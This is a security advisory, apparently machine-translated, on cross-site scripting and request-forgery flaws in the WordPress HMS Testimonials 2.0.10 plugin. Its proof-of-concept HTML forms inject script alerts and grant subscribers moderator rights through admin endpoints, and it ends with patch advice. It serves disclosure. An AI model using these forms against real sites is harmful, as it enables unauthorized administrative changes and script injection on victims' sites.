WordPress HMS Testimonials 2.0.10 XSS/CSRF Vulnerability

Release date:
Updated on: 2013-08-10

Affected Systems:
WordPress HMS Testimonials 2.0.10
Description:
--------------------------------------------------------------------------------
The WordPress HMS Testimonials plug-in displays the customer's rating on a webpage or post.

All forms of WordPress HMS Testimonials are affected by the CSRF vulnerability, which can cause remote attackers to execute unauthorized database operations.

<* Source: Jeff Kreitner

Link: http://packetstormsecurity.com/files/122761/WordPress-HMS-Testimonials-2.0.10-XSS-CSRF.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Proof of Concept
======================================
1. Testimonial
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-addnew ">
<Input type = "hidden" name = "name" value = "<script> alert ('xsss') </script>">
<Input type = "hidden" name = "image" value = "<script> alert ('xsss') </script>">
<Input type = "hidden" name = "testimonial_date" value = "08/08/2013">
<Input type = "hidden" name = "url" value = "<script> alert (String. fromCharCode (88,83, 83) </script>">
<Input type = "hidden" name = "testimonial" value = "<script> alert ('xsss') </script>">
<Input type = "hidden" name = "display" value = "1">
<Input type = "submit" name = "save" value = "Save Testimonial">
</Form>

2. Group
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-addnewgroup & noheader = true ">
<Input type = "hidden" name = "name" value = "New group">
<Input type = "submit" name = "save" value = "Save Group">
</Form>

3.1. Settings-Default
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-settings ">
<Input type = "hidden" name = "active_links_nofollow" value = "1">
<Input type = "hidden" name = "image_width" value = '000000'>
<Input type = "hidden" name = "image_height" value = '000000'>
<Input type = "hidden" name = "date_format" value ='m/d/Y "> <script> alert (3) </script> '>
<Input type = "hidden" name = "testimonial_container" value = 'div '>
<Input type = "hidden" name = "recaptcha_publickey" value = "">
<Input type = "hidden" name = "recaptcha_privatekey" value = "">
<Input type = "submit" name = "save" value = "Save Settings (Default)">
</Form>

3.2. Settings-Advanced
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-settings-advanced ">
<Input type = "hidden" name = "moderator" value = "subscriber">
<Input type = "hidden" name = "roles" value = "subscriber">
<Input type = "hidden" name = "num_users_can_create" value = "9999">
<Input type = "hidden" name = "autoapprove" value = "subscriber">
<Input type = "hidden" name = "moderators_can_access_settings" value = "1">
<Input type = "hidden" name = "js_load" value = "1">
<Input type = "hidden" name = "roleorder []" value = "editor">
<Input type = "hidden" name = "roleorder []" value = "author">
<Input type = "hidden" name = "roleorder []" value = "contributor">
<Input type = "hidden" name = "roleorder []" value = "subscriber">
<Input type = "submit" name = "save" value = "Save Settings (Advanced)">
</Form>

3.3. Settings-Custom Fields
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-settings-fields ">
<Input type = "hidden" name = "name" value = "xss">
<Input type = "hidden" name = "type" value = "textarea">
<Input type = "hidden" name = "showonform" value = "1">
<Input type = "submit" name = "save" value = "Save Settings (Custom Fields)">
</Form>

3.4. Settings-Template
<Form method = "post" action = "http: // wordpress/wp-admin/admin. php? Page = hms-testimonials-templates-new ">
<Input type = "hidden" name = "name" value = "New template <script> alert ('xsss') </script>">
<Input type = "hidden" name = "item []" value = "system_id">
<Input type = "submit" name = "save" value = "Settings Templates (Save)">
</Form>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://wordpress.org/plugins/hms-testimonials/